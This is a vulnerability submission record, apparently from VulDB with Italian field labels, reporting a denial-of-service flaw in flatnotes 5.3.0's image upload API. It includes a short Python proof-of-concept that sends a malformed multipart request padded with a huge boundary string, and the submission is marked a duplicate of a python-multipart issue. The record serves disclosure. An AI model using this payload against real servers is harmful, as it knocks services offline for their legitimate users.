| Titolo | github dullage 5.3.0 Improper Input Validation |
|---|
| Descrizione | Anyone who can log in to flatnotes and upload images through the function can cause DOS , which can prevent others from using it, other API interfaces from being accessed, and server DOS attacks.
Attackers can send the following two POCs, causing the victim's server to be occupied by CPU resources for a long time, unable to process requests from other normal users, thus causing harm to DOS.
```
import requests
url = "http://192.168.137.11:8080/api/attachments"
headers = {
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNzMzMzg1NzA4fQ.GI9swgQd0pDSP0q4mgLc-pMV94xl4KE5_jJNenZChmc",
"Accept-Language": "zh-CN,zh;q=0.9",
"Accept": "application/json, text/plain, */*",
"Content-Type": "multipart/form-data",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36",
"Origin": "http://192.168.137.11:8080",
"Referer": "http://192.168.137.11:8080/new",
"Accept-Encoding": "gzip, deflate, br",
"Cookie": "token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoxNzMzMzg1NzA4fQ.GI9swgQd0pDSP0q4mgLc-pMV94xl4KE5_jJNenZChmc",
"Connection": "keep-alive"
}
data = (
"------WebKitFormBoundaryN20AMdlOKTaspeAy\r\n"
"Content-Disposition: form-data; name=\"file\"; filename=\"sword.png\"\r\n"
"Content-Type: image/png\r\n\r\n" + file_content+ "\r\n"
"------WebKitFormBoundaryN20AMdlOKTaspeAy--"+"0123456789"*50000+"\r\n"
)
response = requests.post(url, headers=headers, data=data)
```
|
|---|
| Fonte | ⚠️ https://github.com/Startr4ck/CVE_lists/blob/main/flatnotes/flatnotes%20webserver%20dos.md |
|---|
| Utente | startr4ck (UID 76213) |
|---|
| Sottomissione | 12/12/2024 08:14 (2 anni fa) |
|---|
| Moderazione | 16/12/2024 09:57 (4 days later) |
|---|
| Stato | Duplicato |
|---|
| Voce VulDB | 286650 [Kludex python-multipart fino a 0.0.17 su Python Line Break negazione del servizio] |
|---|
| Punti | 0 |
|---|